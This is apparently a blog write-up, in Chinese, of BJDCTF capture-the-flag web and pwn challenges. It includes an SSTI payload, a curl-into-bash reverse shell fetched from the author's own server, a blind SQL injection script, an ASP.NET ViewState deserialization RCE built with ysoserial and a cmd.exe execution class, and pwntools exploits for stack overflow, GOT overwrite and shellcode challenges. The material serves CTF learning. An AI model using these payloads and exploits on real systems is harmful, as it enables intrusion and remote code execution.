BJDCTF_writeup

BJDCTF_writeup

WEB

fake google

在注释里看就是SSTI。

不会SSTI,直接在网上找payload打下。

1
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

old-hack

主页的黑页提示了是thinkphp5,又整出一个报错页面看到具体版本是5.0.23。

发现有REC漏洞,直接用payload打下。

https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection

duangShell

提示有源码泄露,下载下来用vim恢复。看到读文件的命令只过滤了cat。

当时做题的时候直接less /flagOOB(Out of Band)就输出flag了,写writeup复现时候看到这个。。。

只好老老实实的反弹shell,想着用base32或者hex编码一下反弹shell的命令,但又没base32又没python,只好作罢。起一个linux靶机,python -m SimpleHTTPServer 8000开个web服务,目录下放一句话bash反弹shell。用命令curl http://174.1.92.51:8000/shell.txt | bash来反弹。

简单注入

在robots.txt里看见了hint.txt,给出了sql语句。

1
select * from users where username='$_POST["username"]' and password='$_POST["password"]';

众所周知,ctf比赛里叫easy的题目都不easy,不出所料肯定有过滤。先把关键字扔进burpsuite里跑一跑。

过滤了关键字若干,其中单引号也过滤了,但没过滤反斜杠。用剩下来的关键字构造一个变种万能密码。

登录成功只出来一句话,并没有flag,因为前面看到过滤了unionselect等关键字,考虑不能跨表查询了,flag可能就是登录密码。下面直接上盲注脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import urllib
import time
start_time = time.time()
def words_len(url):
values={}
for i in range(1,100):
data = {'username':'p3rh4p\\','password':'||length(password)>%s#' %i}
geturl = url
response = requests.post(geturl,data)
if response.content.find('You konw')>0:
return i


def words(url):
payloads = '!"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'
words= ''
aa = words_len(url)
print aa
for i in range(1, aa+1):
for payload in payloads:
data = {'username':'p3rh4p\\','password':'||ascii(substring(password,%s,1))>%s #' %(i,ord(payload))}
geturl = url
response = requests.post(geturl,data)
if response.content.find('You konw')>0:
words += payload
print words
break
return words

if __name__ == '__main__':
url='http://827d094a-2833-4bfb-93a2-fb30e06a04f5.node3.buuoj.cn/check.php'
result=words(url)
print "The current database:"+result

跑出来的是密码,用密码登录获得flag。

假猪套天下第一

卡在http代理那一步,Google找了很久都没找到是什么头。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
GET /L0g1n.php HTTP/1.1
Host: node3.buuoj.cn:26931
User-Agent: Mozilla/5.0 (Commodore 64; Commodo 64; Commodo 64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: gem-love.com
Sender: [email protected]
From: [email protected]
To: [email protected]
Return-Path: [email protected]
Downgraded-From: [email protected]
Proxy: 203.107.43.165
Proxy-Connection: keep-alive
Proxy-Connection: 203.107.43.165
Proxy-Authenticate: 203.107.43.165
Proxy-Authorization: 203.107.43.165
Forwarded: for=203.107.43.165;proto=http;by=203.107.43.165
X-Forwarded-Host: 203.107.43.165
Http-Proxy: 203.107.43.165
X-Forwarded-Proto: http
Cookie: _ga=GA1.2.580799202.1584770711; _gid=GA1.2.332844867.1584770711; PHPSESSID=rtmk7m1cg7q3jne0ir65hsnva0; time=9584803982; __vgl=1
X-Forwarded-For: 203.107.43.165, 203.107.43.165, 203.107.43.165, 203.107.43.165
Client-IP: 127.0.0.1
X-Http-Forwarded-For: 203.107.43.165
X-Requested-With: 203.107.43.165
X-Remote-IP: 203.107.43.165
X-Originating-IP: 203.107.43.165
X-Remote-Addr: 203.107.43.165
WL-Proxy-Client-IP: 203.107.43.165
Remote-Addr: 203.107.43.165
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

最后看别人writeup是Via

Schrödinger

这题没意思,搞得花里胡哨的,结果就在cookie里放个base64的时间,把时间改成负的就出来个av号,去批站相关视频下找flag。。就不放过程了

xss之光

扫目录发现了.git目录(扫的时候要线程要调小一点,不然会被平台ban掉)。githack类工具推荐用Git_Extract,其他工具扫不出来的,用这个都能扫到,甚至历史版本也能扫出来。

序列化xss的payload就能搞个反射型xss,猜测后端有个bot能被你打cookie。

于是在xss平台准备链接,插进去准备打cookie,日后发现打了个寂寞,只打到了自己的cookie,但是在自己的cookie里发现了flag,真是神奇。

文件探测

这题在比赛的时候没做出来,结束后试着复现下。

在主页的Responce里有个hint:home.php,明显是php伪协议的任意文件读取。

读下来home.php和system.php的源码。

home.php里没什么东西,就只能读这两个源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}

home.php里有个文件读取,但限死了只能读127.0.0.1的文件,干脆ssrf访问下admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '       Error:  url invalid<br>~$ ';
$str3 = '       Error:  damn hacker!<br>~$ ';
$str4 = '       Error:  request method error<br>~$ ';

?>
...
...
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

post一下q1=1&q2=http://127.0.0.1/admin.php?&q3=GET发现不行,去群里偷看下师傅们的聊天记录,发现还有个格式字符串漏洞Orz。用q1=1&q2=http://127.0.0.1/admin.php?&q3=GET%1$s在post一下,处出来一串admin.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

删掉cookie中的PHPSESSION明文就为空,密钥知道,vi也知道了,就能加密出密文。

EasyAspDotNet

这题在比赛时候也没做出来,根据hint找到了HITCON 2018的类似一道题目,根据cyku师傅的writeup尝试powershell反弹shell并没有成功。等官方writeup出来的时候又是cyku师傅的又一篇文章复现一下,cyku师傅太强了。

进去网页点下Click me!出来一张图片,F12看见应该是存在文件读取。

穿越了两个目录顺利读到了web.config

第二个hint的VIEWSTATE是使用asp.net控件就会有的东西,查阅资料得知VIEWSTATE配合machineKey是能够RCE的。

下载ysoserial.exe,把C:\Windows\Microsoft.NET\Framework64\v4.0.30319目录下的System.dllSystem.Web.dll复制过来,保存以下代码为ExploitClass.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}

利用上面读web.config获取到的machineKeyysoserial.exe生成VIEWSTATE

1
./ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile   -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="CA0B0334" -c  --validationalg="SHA1"  --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"

回到主页点下Click me!,将请求中的VIEWSTATE换成ysoserial.exe生成的,再加个post参数cmd,值为cmd命令。

PWN

one_gadget

init函数直接输出了printf的地址,题目名字很直接,叫one_gadget,又提供了libc,直接one_gadget一把梭。

1
2
3
4
5
6
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}

main函数这里值得注意的是:存在的漏洞不是栈溢出,而直接跳转到输入的内容处执行,所以我们输入的one_gadget要转为整型再转为字符串。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
v6 = __readfsqword(0x28u);
init();
printf("Give me your one gadget:", argv);
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4("%ld", &v4); # vuln
return 0;
}

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './one_gadget'

if sys.argv[1] == 'l':
p = process('./one_gadget')
libc = context.binary.libc
else:
p = remote('node3.buuoj.cn',26018)
libc = ELF('./libc-2.29.so')

elf = ELF('./one_gadget')

p.recvuntil('u:')
data = int(p.recv(14),16)
base = data - libc.sym['printf']

# one_gadget = base + 0xe237f
# one_gadget = base + 0xe2383
# one_gadget = base + 0xe2386
one_gadget = base + 0x106ef8

# one_gadget = base + 0xc83ba
# one_gadget = base + 0xc83bd
# one_gadget = base + 0xc83c0
# one_gadget = base + 0xe652b

payload = str(int(one_gadget))
p.recvuntil('gadget:')
# gdb.attach(p)
p.sendline(payload)
p.interactive()

r2t3

漏洞在name_check函数里,参数s最多能输入到0x400个字节,strcpydest里就会造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}

但在strcpy前对的长度进行限制,不过仔细看发现对跟v3比较的数字类型都是unsigned int型,在汇编里也能看见取eax的低位跟3和8比较,所以只要令到s的长度在0xx040xx07之间就能绕过了。

最后ret2text到预留的backdoor就行。附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './r2t3'

if sys.argv[1] == 'l':
p = process('./r2t3')
else:
p = remote('node3.buuoj.cn',29906)

elf = ELF('./r2t3')

backdoor = elf.sym['_dl_registery']

payload = flat(cyclic(21),backdoor,cyclic(235)+'\x00')

p.recvuntil('[+]Please input your name:')
# gdb.attach(p)
p.send(payload)
p.interactive()

r2t4

这题开了canary,但存在格式化字符串漏洞,carray并没有什么卵用。

不过这里的格式化字符串没有循环,尝试覆写.fini_array里函数的got表,但没有成功。最后故意栈溢出,让程序调用___stack_chk_fail,覆写___stack_chk_failgot使得程序跳转到backdoor

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL);
printf(&buf, &buf);
return 0;
}

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './r2t4'

if sys.argv[1] == 'l':
p = process('./r2t4')
else:
p = remote('node3.buuoj.cn',28071)

elf = ELF('./r2t4')

addr = elf.got['__stack_chk_fail']
backdoor = elf.sym['backdoor']

def exec_fmt(payload):
p = process('./r2t4')
p.sendline(payload)
data = p.recvline()
p.close()
return data

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
payload = fmtstr_payload(offset,{addr:backdoor}).ljust(0x38,'a')

# gdb.attach(p)
p.send(payload)
p.interactive()

test

程序保护全开,好像没什么漏洞,尝试绕过过滤。找了很久发现od ????可以,但是出来的是这些玩意,直接解码不行。想得头都穿了,差点要写脚本爆破了。

后来看了官方文档才知道,默认两个字节合起来转为八进制。用脚本解一下。

1
2
3
4
5
6
7
8
9
10
11
e = '066146 063541 063173 034461 030141 033470 026546 063067 030545 032055 030143 026471 061471 033471 034455 034470 032064 033544 032071 032467 076463 077412 046105 001106 000401 000000 000000 000000 000000 001000 037000 000400 000000 000000 040006 000000 000000 040000 000000 000000 000000 014000 000033 000000 000000 000000 000000 040000 034000 004400 040000 017400 016000 003000 000000 002400 000000 040000 000000 000000 000000 040000 040000 000000 000000 040000 040000 000000 000000 174000 000001 000000 000000 174000 000001 000000 000000 004000 000000 000000 000000 001400 000000 002000 000000 034000 000002 000000 000000 034000 040002 000000 000000 034000 040002 000000 000000 016000 000000 000000 000000 016000 000000 000000 000000 000400 000000 000000 000000 000400 000000 002400 000000 000000 000000 000000 000000 000000 040000 000000 000000 000000 040000 000000 000000 132000 000013 000000 000000 132000 000013 000000 000000 000000 020000 000000 000000 000400 000000 003000 000000 010000 000016 000000 000000 010000 060016 000000 000000 010000 060016 000000 000000 054000 000002 000000 000000 060000 000002 000000 000000 000000 020000 000000 000000 001000 000000 003000 000000 024000 000016 000000 000000 024000 060016 000000 000000 024000 060016 000000 000000 150000 000001 000000 000000 150000 000001 000000 000000 004000 000000 000000 000000 002000 000000 002000 000000 052000 000002 000000 000000 052000 040002 000000 000000 052000 040002 000000 000000 042000 000000 000000 000000 042000 000000 000000 000000 002000 000000 000000 000000 050000 072345 002144 000000 104000 000012 000000 000000 104000 040012 000000 000000 104000 040012 000000 000000 032000 000000 000000 000000 032000 000000 000000 000000 002000 000000 000000 000000 050400 072345 003144 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000 000000'

e = e.split(' ')
ans = ''

for o in e:
ans += hex(int(o,8))[2:][2:]
ans += hex(int(o,8))[2:][:2]

ans = ans.split('0a')[0]
print(ans.decode('hex'))

diff

gdb退了几次再进去看到diff里文件二的栈地址都是一样的,我鬼使神差的以为他栈地址是不变的,gdb里能getshell,命令行里执行就不行。。有没有师傅知道是为什么。。

被搞晕了,没注意到文件一的内容直接写进bss,可以通过这个getshell,看了别的师傅的writeup才知道,太粗心了。

漏洞处在compare函数里,addr也就是文件二读取没有限制长度,超过0x78字节就会溢出,而buf1是读到bss里的,有因为没有开NX,可以直接控制程序跳到buf1处执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl compare(int a1, int fd)
{
char v2; // al
int v4; // [esp+0h] [ebp-80h]
unsigned int i; // [esp+4h] [ebp-7Ch]
char addr[120]; // [esp+8h] [ebp-78h]

v4 = 0;
JUMPOUT(sys_read(fd, buf1, 0x80u), 0, &failed);
JUMPOUT(sys_read(a1, addr, 0x80u), 0, &failed);
for ( i = 0; addr[i] + buf1[i] && i < 0x400; ++i )
{
v2 = buf1[i];
if ( v2 != addr[i] )
return v4 + 1;
if ( v2 == 10 )
++v4;
}
return 0;
}

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import base64

buf = 0x0804A024
shellcode = asm(shellcraft.sh())
payload = flat(cyclic(124),buf)

context.log_level = 'DEBUG'
context.binary = './diff'

if sys.argv[1] == 'l':
p = process(argv=['diff','/tmp/123','/tmp/456'],executable='./diff')
f1 = open('/tmp/123','wb')
f2 = open('/tmp/456','wb')
f1.write(shellcode)
f2.write(payload)
f1.close()
f2.close()
else:
pwn_ssh = ssh(host='node3.buuoj.cn',user='ctf',password='guest',port=26462)
p = pwn_ssh.process('/bin/bash')
p.sendline('echo {} | base64 -d > /tmp/123;echo {} | base64 -d > /tmp/456'.format(base64.b64encode(shellcode),base64.b64encode(payload)))
p.close()
p = pwn_ssh.process(argv=['diff','/tmp/123','/tmp/456'],executable='./diff')

elf = ELF('./diff')
p.interactive()

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×